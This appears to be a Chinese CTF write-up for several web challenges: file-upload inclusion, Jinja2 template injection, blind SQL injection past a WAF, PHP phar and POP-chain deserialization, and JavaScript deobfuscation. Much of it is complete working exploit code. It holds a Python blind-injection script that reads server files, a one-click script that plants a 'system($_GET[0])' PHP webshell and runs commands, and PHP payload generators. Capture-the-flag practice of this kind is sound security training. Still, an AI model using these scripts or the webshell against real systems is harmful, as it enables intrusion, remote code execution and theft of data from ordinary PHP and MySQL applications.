CTF2困难部分

WEB2-文件上传(所有文件变jpg)

但是我们上传一句话木马

不直接访问,而是包含的话

就可以成功执行

成功获取flag

复制代码
找「能落地文件的地方」
        +
找「能 include 的地方」
        =
RCE

04-template

跟之前的rookie很像

这一题考的是SSTI

查看js源码看到

经过测试发现,并没有任何的限制

确定是 Jinja2

直接就是root权限

读取flag

复制代码
常见链
链	需要
config.__class__.__init__.__globals__['os']	Flask ✓
lipsum.__globals__['os']	Flask/Jinja2 ✓
cycler.__init__.__globals__.os	纯 Jinja2 ✓
joiner.__init__.__globals__.os	纯 Jinja2 ✓
namespace.__init__.__globals__.os	纯 Jinja2 ✓
''.__class__.__mro__[1].__subclasses__()	纯 Python ✓ (453 个子类)

WEB2-readllySQL

SQL注入,测试WAF

复制代码
'(单引号)  空格
尝试	结果
%27	WAF ✗(说明 WAF 查的是解码后的值)
%2527 / %252527	不 WAF 但也不注入 ✗
%c0%a7 / %e0%80%a7(overlong UTF-8)	✗
全角 ' %EF%BC%87	✗
U+2019 %E2%80%99	✗
%u0027	✗
%bf%27(GBK 宽字节)	✗
数组 username[]=	过 WAF ✓ 但 $username 变 Array ✗ 拿不到注入
分字段测	username 和 password 都查 ✗

除了这两个其他的都可以

任何的' 空格都不能用,那就不用

复制代码
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
传:username = admin\          password = or/**/1=1#
执行:WHERE username='admin\' AND password='or/**/1=1
                      \ 吃掉这个 '      这里变成字符串开头
有效:WHERE username='admin' AND password='' or 1=1#
                                           恒真 
复制代码
布尔盲注 oracle
响应	含义
登录成功int(1)	TRUE
登录失败	FALSE
别瞎输,快爬!	WAF
payload 格式:
password = or/**/(<条件>)#
为什么 UNION 不行

可用函数

database() substr() ascii() load_file() hex() length() exists()

information_schema.tables / .columns

试了 0/**/union/**/select/**/1,2,3# 全部失败因为 \ 转义后,password= 后面直接跟 union语法错误而 or 可以接在 password='' 后面形成布尔表达式所以只能盲注

复制代码
用法
================================================================================
    python WEB2_readllySQL_exp.py
    python WEB2_readllySQL_exp.py --url http://靶机/
    python WEB2_readllySQL_exp.py --path /flag --sql "database()"
"""
import sys
import re
import argparse
import subprocess

DEFAULT_URL = "http://7598a63567d904b43bc03523.http-ctf2.dasctf.com"
FLAG_RE = re.compile(r"[A-Za-z0-9_]{2,25}\{[!-~]{1,200}\}")


class Inj:
    def __init__(self, base):
        self.base = base.rstrip("/")
        self.calls = 0

    def ask(self, cond):
        """cond 里不能出现 ' 和空格(用 /**/ 代替空格)"""
        r = subprocess.run(["curl", "-s", "--noproxy", "*", "-m", "15", "-X", "POST",
                            "--data-urlencode", "username=admin\\",
                            "--data-urlencode", "password=or/**/(" + cond + ")#",
                            self.base + "/login.php"], capture_output=True)
        b = (r.stdout or b"").decode("utf-8", "replace")
        self.calls += 1
        if "登录成功" in b:
            return True
        if "别瞎输" in b:
            return None
        return False

    def blind(self, expr, maxlen=120, lo=9, hi=126, label=""):
        out = ""
        for i in range(1, maxlen + 1):
            l, h = lo, hi
            while l < h:
                mid = (l + h) // 2
                v = self.ask("ascii(substr(%s,%d,1))>%d" % (expr, i, mid))
                if v is None:
                    return out + "<WAF>"
                if v:
                    l = mid + 1
                else:
                    h = mid
            if l <= lo:
                break
            out += chr(l)
            if label:
                sys.stdout.write("\r   %s %r" % (label, out))
                sys.stdout.flush()
        if label:
            print()
        return out


def hx(s):
    return "0x" + s.encode().hex()


def main():
    sys.stdout.reconfigure(encoding="utf-8")
    ap = argparse.ArgumentParser(description="WEB2-readlly SQL EXP")
    ap.add_argument("--url", default=DEFAULT_URL)
    ap.add_argument("--path", default="/flag", help="要读的文件")
    ap.add_argument("--sql", help="也可以直接盲注一个 SQL 表达式")
    a = ap.parse_args()

    t = Inj(a.url)
    print("=" * 74)
    print(" WEB2-readlly SQL  EXP")
    print("=" * 74)
    print(" 目标: %s" % t.base)
    print()

    # --- 0. 确认布尔 oracle ---
    print(" [0] 确认布尔 oracle")
    v1 = t.ask("1=1")
    v2 = t.ask("1=2")
    print("     or**(1=1) → %s" % v1)
    print("     or**(1=2) → %s" % v2)
    if not (v1 is True and v2 is False):
        print("     ✗ oracle 不成立")
        return 1
    print("     \033[32m✓ 布尔盲注可用\033[0m")

    # --- 1. 库名 ---
    print()
    print(" [1] 库名")
    db = t.blind("(select/**/database())", maxlen=32, label="db")
    print("     database() = %r" % db)

    # --- 2. 表名 ---
    print()
    print(" [2] 表名")
    tabs = []
    for n in range(0, 6):
        e = ("(select/**/table_name/**/from/**/information_schema.tables"
             "/**/where/**/table_schema=%s/**/limit/**/%d,1)" % (hx(db), n))
        tn = t.blind(e, maxlen=32, label="t%d" % n)
        if not tn or "<WAF>" in tn:
            break
        tabs.append(tn)
    print("     表: %s" % tabs)

    # --- 3. 读文件 ---
    if a.sql:
        print()
        print(" [3] 盲注表达式: %s" % a.sql)
        val = t.blind("(" + a.sql + ")", maxlen=200, label="val")
    else:
        print()
        print(" [3] load_file(%r)" % a.path)
        p = hx(a.path)
        if not t.ask("load_file(%s)is/**/not/**/null" % p):
            print("     ✗ 文件不存在或不可读")
            return 1
        print("     ✓ 文件可读")
        val = t.blind("load_file(%s)" % p, maxlen=200, label="file")

    print()
    print("=" * 74)
    print(" 内容: %r" % val)

    m = FLAG_RE.search(val)
    if m:
        flag = m.group(0)
        print()
        print(" \033[32m★★★ FLAG = %s\033[0m" % flag)
        with open("flag.txt", "w", encoding="ascii") as f:
            f.write(flag + "\n")
        print(" 已存 flag.txt")
        print(" 共 %d 次请求" % t.calls)
        return 0

    print(" ✗ 没匹配到 flag 格式")
    print(" 共 %d 次请求" % t.calls)
    return 1


if __name__ == "__main__":
    sys.exit(main())

writeandcheck

复制代码
<?php
error_reporting(0);
class File{
    定义一个名为 File 的类
    public $ext = "txt";
公有属性 $ext,默认值为 "txt"。后面拼接文件名时会加上 .$this->ext,也就是默认追加 .txt
    public $action;
公有属性 $action,用于保存动作类型
    public function __construct($action)
    {
        $this->action = $action;
构造函数。创建 File 对象时把传入的 $action 保存到 $this->action
    }
    public function __destruct()
析构函数,对象被销毁时自动调用
    {
        $action = $this->action;
从对象属性中取出动作
        switch($action){
            case "write":
            进入写文件逻辑
                $filename = $_GET['filename'].".".$this->ext;
             默认情况下 $this->ext = "txt",所以实际文件名类似
                $_GET['filename'] . ".txt"
                例如:
                  filename=../test
                  ../test.txt
                if(strlen($filename)>14){
                    die("nonono");
     检查拼接后的完整文件名字符串长度。如果长度大于 14 字节,输出 nonono 并终止脚本
                }
                str_replace($filename,'..','');
str_replace(要搜索的内容, 替换成什么, 在哪个字符串中替换)
                $content = $_GET['content'];
                file_put_contents($filename,$content);
                break;
            case "check":
                $filename = $_REQUEST['filename'];
                if(file_exists($filename)){
                    echo "file exits";
                }else{
                    echo "file not exits";
                }
                break;
        }
    }
}
$action = $_GET['action'];
if(isset($action)){
    serialize(new File($action));
}else{
    highlight_file(__FILE__);
}

ext 通过 phar 可控把 txt 改成 php
默认 $ext = "txt" filename 拼出来是 X.txt 不能执行
用 phar 反序列化构造 ext = "php"  写出来就是 X.php 
str_replace 是废的
str_replace($filename,'..','');    // ← 返回值没接收,什么都没改
形同虚设
$_REQUEST 的优先级:COOKIE > POST > GET
write 用 $_GET['filename'],check 用 $_REQUEST['filename']  看起来是冲突
但实测优先级是 COOKIE 最高
实测数据:

GET	    POST	COOKIE	$_REQUEST 取到	结果
a.txt	---	      ---	         GET	      file exits
a.txt	---	     zzz	    COOKIE	      file not exits 
---	   a.txt	  ---      	POST	      file exits
zzz	   a.txt	  ---	        POST	      file exits 
---	   a.txt	  zzz	    COOKIE	      file not exits 

<?php
/**
 * gen_payload.php ------ 生成 writeandcheck 的序列化 payload
 *
 * 用真正的 serialize() 生成,所以永远格式正确 ✓
 *
 * 用法
 * ============================================================================
 *   php gen_payload.php                      # 默认 ext=php, action=write
 *   php gen_payload.php php write            # 同上
 *   php gen_payload.php txt check            # ext=txt, action=check
 *   php gen_payload.php "" write             # ext=""(空扩展名)
 *   php gen_payload.php php write phar       # 同时生成 payload.phar
 *
 * 输出
 * ============================================================================
 *   序列化串本身(一行),可直接放进 ?content= 或作为 phar 的 metadata
 */

class File
{
    public $ext = "txt";
    public $action;
}
$ext    = isset($argv[1]) ? $argv[1] : "php";
$action = isset($argv[2]) ? $argv[2] : "write";
$also   = isset($argv[3]) ? $argv[3] : "";
$obj = new File();
$obj->ext    = $ext;
$obj->action = $action;
$payload = serialize($obj);
fwrite(STDERR, "ext    = " . var_export($ext, true) . "\n");
fwrite(STDERR, "action = " . var_export($action, true) . "\n");
fwrite(STDERR, "长度   = " . strlen($payload) . " 字节\n");
fwrite(STDERR, str_repeat("-", 70) . "\n");
fwrite(STDERR, $payload . "\n");
fwrite(STDERR, str_repeat("-", 70) . "\n");
echo $payload . "\n";
if ($also === "phar") {
    $out = __DIR__ . "/payload.phar";
    @unlink($out);
    $p = new Phar($out);
    $p->startBuffering();
    $p->addFromString("a.txt", "test");
    $p->setStub("<?php __HALT_COMPILER(); ?>");
    $p->setMetadata($obj);          // ← 直接用对象,不用先序列化
    $p->stopBuffering();

    fwrite(STDERR, "\n✓ phar 已生成: $out (" . filesize($out) . " 字节)\n");
    fwrite(STDERR, "  触发: ?action=check&filename=phar://a.txt/a.txt\n");
    fwrite(STDERR, "  (注意:要生成 phar 得加 -d phar.readonly=0)\n");
}
if (getenv("SELFTEST")) {
    $back = unserialize($payload);
    fwrite(STDERR, "\n自检:\n");
    fwrite(STDERR, "  unserialize 后 ext    = " . var_export($back->ext, true) . "\n");
    fwrite(STDERR, "  unserialize 后 action = " . var_export($back->action, true) . "\n");
    fwrite(STDERR, "  再序列化 = " . serialize($back) . "\n");
    fwrite(STDERR, "  一致 = " . ($payload === serialize($back) ? "✓" : "✗") . "\n");
}

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
r"""
writeandcheck ------ 一键 EXP(phar:// 反序列化)

题目源码(首页 highlight_file 直接吐出来)
================================================================================
    class File{
        public $ext = "txt";
        public $action;
        public function __destruct(){
            $action = $this->action;
            switch($action){
            case "write":
                $filename = $_GET['filename'].".".$this->ext;
                if(strlen($filename)>14) die("nonono");
                str_replace($filename,'..','');        // ← 返回值丢弃,形同虚设
                $content = $_GET['content'];
                file_put_contents($filename,$content);
                break;
            case "check":
                $filename = $_REQUEST['filename'];     // ← phar 触发点
                if(file_exists($filename)) echo "file exits";
                else echo "file not exits";
                break;
            }
        }
    }
    $action = $_GET['action'];
    if(isset($action)) serialize(new File($action));
    else highlight_file(__FILE__);

三个关键点
================================================================================
    ① ext 默认 "txt" → 但通过 phar 反序列化可控 → 改成 "php"
       ⇒ 写出来的文件就是 .php,能执行

    ② write 用 $_GET['filename'],check 用 $_REQUEST['filename']
       ⇒ 看起来冲突,但其实 $_REQUEST 的优先级是  COOKIE > POST > GET  ★★★
       ⇒ 把 phar 路径放 COOKIE,目标文件名放 GET → 零冲突

    ③ file_exists() 是 phar 的触发点
       ⇒ ?action=check&filename=phar://a.txt/a.txt
          (a.txt 里是 phar 二进制,扩展名不影响解析)

利用步骤
================================================================================
    1. 用 PHP 生成合法的 phar(带签名!make_phar 那个工具缺签名,是坏的)
       metadata = File{ext:"php", action:"write"}
       internal file = "a.txt"

    2. ?action=write&filename=a&content=<urlencoded phar>
       → 写出 a.txt(a + .txt = 5 字符 ≤ 14 ✓)

    3. Cookie:  filename=phar://a.txt/a.txt       ← 触发
       GET:     ?action=check&filename=shell&content=<?php system($_GET[0]);?>
       (GET 的 filename 是给 write 用的,COOKIE 的给 check 用)

    4. /shell.php?0=id  →  RCE

用法
================================================================================
    python writeandcheck_exp.py
    python writeandcheck_exp.py --url http://靶机/
"""
import sys
import os
import re
import argparse
import tempfile
import subprocess
import urllib.parse

DEFAULT_URL = "http://ca186a785d2f1b41ba395a95.http-ctf2.dasctf.com"
FLAG_RE = re.compile(r"[A-Za-z0-9_]{2,25}\{[!-~]{1,200}\}")

GEN_PHP = r'''<?php
class File { public $ext = "txt"; public $action; }
$obj = new File();
$obj->ext = %(ext)s;
$obj->action = "write";
@unlink(%(out)s);
$p = new Phar(%(out)s);
$p->startBuffering();
$p->addFromString("a.txt", "test");
$p->setStub("<?php __HALT_COMPILER(); ?>");
$p->setMetadata($obj);
$p->stopBuffering();
'''


def find_php():
    """找一个能跑的 php"""
    for p in (r"D:\php-8.2.30-Win32-vs16-x64\php.exe", "php"):
        try:
            r = subprocess.run([p, "-v"], capture_output=True, timeout=10)
            if r.returncode == 0:
                return p
        except Exception:
            pass
    return None


def build_phar(workdir, ext="php"):
    """生成带签名的合法 phar(原始格式,能 append 在文件头后面)"""
    php = find_php()
    if not php:
        raise RuntimeError("找不到 php.exe(生成 phar 必须用 PHP 本体,才有签名)")
    out = os.path.join(workdir, "payload.phar")
    script = os.path.join(workdir, "gen.php")
    code = GEN_PHP % {"ext": '"%s"' % ext, "out": '"%s"' % out.replace("\\", "\\\\")}
    with open(script, "w", encoding="utf-8") as f:
        f.write(code)
    r = subprocess.run([php, "-d", "phar.readonly=0", script], capture_output=True)
    if not os.path.exists(out):
        raise RuntimeError("生成失败: %s" % (r.stdout + r.stderr).decode("utf-8", "replace"))
    data = open(out, "rb").read()
    return data


def curl(args, timeout=25):
    r = subprocess.run(["curl", "-s", "-g", "--noproxy", "*", "-m", str(timeout)] + args,
                       capture_output=True)
    return (r.stdout or b"").decode("utf-8", "replace")


def main():
    sys.stdout.reconfigure(encoding="utf-8")
    ap = argparse.ArgumentParser(description="writeandcheck phar EXP")
    ap.add_argument("--url", default=DEFAULT_URL)
    ap.add_argument("--name", default="a", help="容器文件名(≤ 11 字符)")
    ap.add_argument("--shell", default="shell", help="要生成的 webshell 名")
    a = ap.parse_args()
    base = a.url.rstrip("/")

    print("=" * 74)
    print(" writeandcheck  EXP  (phar:// 反序列化)")
    print("=" * 74)
    print(" 目标: %s" % base)
    print()

    # --- 0. 拿源码 ---
    print(" [0] 拿源码")
    home = curl([base + "/index.php"])
    if "class" not in home:
        print("     ✗ 首页没源码")
        return 1
    print("     ✓ 首页吐源码(%d 字节)" % len(home))

    # --- 1. 生成 phar ---
    print()
    print(" [1] 生成 phar(ext=php, action=write)")
    wd = tempfile.mkdtemp()
    try:
        phar = build_phar(wd, ext="php")
    except Exception as e:
        print("     ✗ %s" % e)
        return 1
    print("     ✓ %d 字节(PHP 本体生成,带签名)" % len(phar))

    # --- 2. 上传到 a.txt ---
    container = a.name + ".txt"
    print()
    print(" [2] 上传 phar → %s(%d 字符 ≤ 14 ✓)" % (container, len(container)))
    enc = urllib.parse.quote_from_bytes(phar, safe="")
    curl([base + "/index.php?action=write&filename=%s&content=%s" % (a.name, enc)])
    chk = curl([base + "/index.php?action=check&filename=" + container])
    print("     确认: %r" % chk[:40])
    if "exits" not in chk or "not" in chk:
        print("     ✗ 容器没写成功")
        return 1
    print("     ✓ 容器就位")

    # --- 3. 触发 ---
    print()
    print(" [3] 触发(COOKIE 优先级最高,避开 filename 冲突)")
    shell = "<?php system($_GET[0]);?>"
    body = curl(["-b", "filename=phar://%s/a.txt" % container,
                 "-G", "--data-urlencode", "action=check",
                 "--data-urlencode", "filename=" + a.shell,
                 "--data-urlencode", "content=" + shell,
                 base + "/index.php"])
    print("     响应: %r" % body[:60])

    # --- 4. RCE ---
    print()
    print(" [4] 访问 /%s.php" % a.shell)
    target = "%s/%s.php" % (base, a.shell)
    ident = curl(["-G", "--data-urlencode", "0=id", target])
    print("     id → %r" % ident[:120])
    if "uid=" not in ident:
        print("     ✗ 没拿到 RCE")
        return 1
    print("     \033[32m✓ RCE 成功\033[0m")

    # --- 5. 读 flag ---
    print()
    print(" [5] 读 flag")
    for cmd in ("cat /flag", "cat /flag*", "ls /"):
        out = curl(["-G", "--data-urlencode", "0=" + cmd, target])
        print("     [%-14s] → %r" % (cmd, out[:200]))
        m = FLAG_RE.search(out)
        if m:
            flag = m.group(0)
            print()
            print(" \033[32m★★★ FLAG = %s\033[0m" % flag)
            with open("flag.txt", "w", encoding="ascii") as f:
                f.write(flag + "\n")
            print(" 已存 flag.txt")
            return 0

    print()
    print(" ✗ 没拿到 flag")
    return 1


if __name__ == "__main__":
    sys.exit(main())

可以成功获取flag

找色差吗

这种题目,一眼就是前端逆向

游戏结束文案 getGameOverText

反混淆后看到:

css 复制代码
`'getGameOverText': function(_0x3f8586) {
    var _0x268d05 = { ..., 'UVjif': "71bc9", 'GkSez': '4|3|1|0|2' };
    var _0x2ef650 = 0xf > _0x3f8586 ? 0x0 : Math.ceil((_0x3f8586 - 0xf) / 0x5),
        _0x32718d = 0x62c,                                    // = 1580
        _0x5d8625 = this["lvT"][_0x2ef650] || _["last"](this["lvT"]);

    if (this['lv'] > _0x32718d + 0x1a3) {                     // 1580 + 419 = 1999
        // ★★★ 只有过 2000 关才会走到这里
        switch (...) {
            case '0': var _0x4b1e67 = 'faf82';           continue;   // key1
            case '1': var _0x4f0b40 = '8c4f1';           continue;   // key2
            case '2': console['log'](strEnc(_0x2008d1, _0x60a0ea, _0x4f0b40, _0x4b1e67));
                      continue;
            case '3': var _0x60a0ea = _0x268d05["UVjif"]; continue;   // key3 = "71bc9"
            case '4': var _0x2008d1 = 'find_different_blocks'; continue;  // ★ 数据
        }
    }
    ...
}
反混淆后看到:`
复制代码
if (lv >= 2000) {
    console.log(strEnc('find_different_blocks', '71bc9', '8c4f1', 'faf82'));
}

直接调用题目自己的 strEnc

runStrenc.js:同样在 Node 沙箱里加载 deobf.txt,然后直接 strEnc(...)

复制代码
let strEnc = null;
for (const k of Object.keys(sandbox))
    if (typeof sandbox[k] === 'function' && /^strEnc$/i.test(k)) { strEnc = sandbox[k]; break; }

const out = strEnc('find_different_blocks', '71bc9', '8c4f1', 'faf82');
const md5 = crypto.createHash('md5').update(String(out), 'utf8').digest('hex');

结果

复制代码
strEnc("find_different_blocks", "71bc9", "8c4f1", "faf82")
= 21E7AE40B06B28439D031D6848F6E5736B28CA5D50DB89BC34468C8195AC002AB593117A1BDAEA972B8C223883FA6443
   (96 个 hex 字符 = 48 字节)

md5(结果)
= 84673edf8a1ab819dadfdb5da4f41cfe

flag{84673edf8a1ab819dadfdb5da4f41cfe}

一个通用的sojson.v5 反混淆器

复制代码
#!/usr/bin/env node
/*
 * desojson2.js ------ 精确解 sojson.v5:只解源码里真实出现的 (idx, key) 对
 *
 * 用法:
 *   node desojson2.js color.min.js out.txt
 *
 * 输出两种文件:
 *   out.txt        ------ 按源码顺序,把每个 _0x2f2b('0x..','..') 替换成解出的字符串
 *   out_pairs.txt  ------ "idx key -> value" 对照表
 */
const fs = require('fs');
const vm = require('vm');

const file = process.argv[2] || 'color.min.js';
const outBase = process.argv[3] || 'deobf';

let src = fs.readFileSync(file, 'utf8');

// ---- 沙箱:stub 掉一切 ----
function makeStub() {
    const fn = function () { return stub; };
    const stub = new Proxy(fn, {
        get(t, p) {
            if (p === Symbol.toPrimitive) return () => '';
            if (p === 'toString') return () => '';
            if (p === 'length') return 0;
            if (p === 'then') return undefined;
            if (p === 'valueOf') return () => 0;
            return stub;
        },
        set() { return true; },
        apply() { return stub; },
        construct() { return stub; },
    });
    return stub;
}
const sandbox = { encode_version: undefined };
sandbox.window = sandbox;
sandbox.globalThis = sandbox;
sandbox.self = sandbox;
sandbox.document = makeStub();
sandbox.navigator = makeStub();
sandbox.localStorage = makeStub();
sandbox.location = makeStub();
sandbox.console = { log: () => { }, error: () => { }, warn: () => { } };
sandbox.setTimeout = () => 0; sandbox.setInterval = () => 0;
sandbox.clearTimeout = () => 0; sandbox.clearInterval = () => 0;
sandbox.alert = () => 0;
sandbox.eval = (c) => c;
sandbox.Function = function () { return () => 0; };

const ctx = vm.createContext(sandbox);

console.log('[*] 执行文件以取得解码器...');
try {
    vm.runInContext(src, ctx, { timeout: 60000, filename: file });
} catch (e) {
    console.log('[*] 中断(正常): ' + e.message.slice(0, 100));
}

// ---- 找解码器 ----
let decName = null, decFn = null;
const cands = Object.keys(sandbox).filter(k => /^_0x[0-9a-f]+$/.test(k) && typeof sandbox[k] === 'function');
for (const c of cands) {
    // 试解一个已知调用验证
    const m = src.match(/_\w+\(\s*'(0x[0-9a-f]+)'\s*,\s*'([^']+)'\s*\)/);
    if (m) {
        try {
            const v = sandbox[c](m[1], m[2]);
            if (typeof v === 'string' && v.length > 0 && !v.includes('\uFFFD')) {
                decName = c; decFn = sandbox[c];
                console.log('[*] 解码器 = ' + c + '  验证: ' + m[1] + ' -> ' + JSON.stringify(v));
                break;
            }
        } catch (e) { }
    }
}
if (!decFn) {
    console.log('✗ 没找到可用解码器,候选: ' + cands.join(', '));
    process.exit(1);
}

// ---- 精确替换 ----
const re = new RegExp('_' + decName.slice(3) + '\\(\\s*\'(0x[0-9a-f]+)\'\\s*,\\s*\'([^\']+)\'\\s*\\)', 'g');
// 上面的构造可能不对,直接用通用正则
const re2 = new RegExp(decName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + "\\(\\s*'(0x[0-9a-f]+)'\\s*,\\s*'([^']+)'\\s*\\)", 'g');

const pairs = [];
let replaced = src.replace(re2, (all, idx, key) => {
    let v;
    try { v = decFn(idx, key); } catch (e) { v = null; }
    if (typeof v !== 'string') return all;
    pairs.push([idx, key, v]);
    return JSON.stringify(v);
});

console.log('[*] 替换了 ' + pairs.length + ' 处');

fs.writeFileSync(outBase + '.txt', replaced, 'utf8');
fs.writeFileSync(outBase + '_pairs.txt',
    pairs.map(p => p[0] + '\t' + p[1] + '\t' + JSON.stringify(p[2])).join('\n'), 'utf8');
console.log('[*] 已写 ' + outBase + '.txt 和 ' + outBase + '_pairs.txt');

// ---- 打印源码后半段(游戏逻辑通常在 jQuery 之后)----
const half = Math.floor(replaced.length / 2);
const tail = replaced.slice(half);
fs.writeFileSync(outBase + '_tail.txt', tail, 'utf8');
console.log('[*] 已写 ' + outBase + '_tail.txt (' + tail.length + ' 字符)');

// ---- 关键词 ----
const KW = ['flag', '2000', 'lastLv', 'level', 'score', 'ajax', 'php', '/api', 'win'];
console.log('\n===== 关键词命中(只列有意义的)=====');
for (const [idx, key, v] of pairs) {
    for (const k of KW) {
        if (v.toLowerCase().includes(k)) {
            console.log('  [' + k + '] ' + idx + ' ' + key + ' -> ' + JSON.stringify(v).slice(0, 250));
            break;
        }
    }
}
#node desojson2.js <混淆文件.js> <输出前缀>
# 产出 <前缀>.txt / <前缀>_pairs.txt / <前缀>_tail.txt

ez_serialize

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
三个 public 属性,全部可以序列化
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
	正常访问时走这里,因此看到 hello ctfer
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
这里把 $check 覆盖了
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            两道过滤器
            echo new  $this->class ($this->para);
唯一的漏洞点
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
只能回显我们自己输入的字符串
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            致命缺陷在这里
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

} hello ctfer

先读 hint.php
class=SplFileObject, para=/var/www/html/hint.php
⇒ <?php // flag.php is in a folder under this directory
用 GlobIterator 做目录枚举
* 和 ? 被过滤,但 [ ] 没被禁 → glob 字符类可用 ✓ GlobIterator 的构造函数吃 pattern,echo 时输出第一个匹配项的 basename
校准:
GlobIterator('/etc/passwd')                       → passwd        
GlobIterator('/var/www/html/[i][n][d][e][x][.][p][h][p]') → index.php 
GlobIterator('/[a-z][a-z][a-z][a-z][a-z][a-z]')   (空)        可用
枚举 /var/www/html
len=8  hint.php
len=9  index.php
拉长到 31..60
len=32 aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE
目录名 32 个字符,前面扫到 30 就漏了
枚举该目录
.
..
flag.php
读出来
class=SplFileObject, para=/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php
⇒ CTF2{8d2c4751-6c9e-4cab-8417-01cc4bbcb5f5}

<?php
class A{public $class;public $para;public $check;}
$a=new A;
$a->class="GlobIterator";
$a->para="/var/www/html/a".str_repeat("[a-zA-Z0-9._-]",31);
$b=serialize($a);
echo $b;

<?php
class A{public $class;public $para;public $check;}
$a=new A;
$a->class="SplFileObject";
$a->para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
$b=serialize($a);
echo $b;
相关推荐
佳得动1 小时前
编译和链接的认识(C语言)
c语言·开发语言
小小张说故事1 小时前
Python 的 0.1 + 0.2 为什么不等于 0.3?拆开 IEEE 754 与那串死循环小数
后端·python
LK_071 小时前
【Agent】工具调用的安全边界:从模型输出到程序执行
人工智能·笔记·python·agent
大黄说说1 小时前
PHP 异步怎么实现?Swoole、Workerman 使用场景对比
开发语言·php·swoole
十二同学啊1 小时前
Python 工程化详解:项目结构、依赖管理、代码质量、测试与部署
java·开发语言·python
打工仔折腾 AI1 小时前
鸿蒙移动端直连 Windows 远程桌面配置与性能调优实践
人工智能·windows·后端·python·华为·性能优化·harmonyos
乐橙开放平台1 小时前
跨地域监控难管理?通过 GB28181 把各地海康大华乐橙摄像头注册到云端平台
开发语言·笔记·物联网·自动化·php·音视频·智能家居
广东融科数据服务有限公司1 小时前
网络监控经常卡顿、掉线、画面模糊?一线排查问答实录
开发语言·网络·php
有志冬瓜1 小时前
.NET Framework全部版本离线下载安装教程
安全·.net·软件需求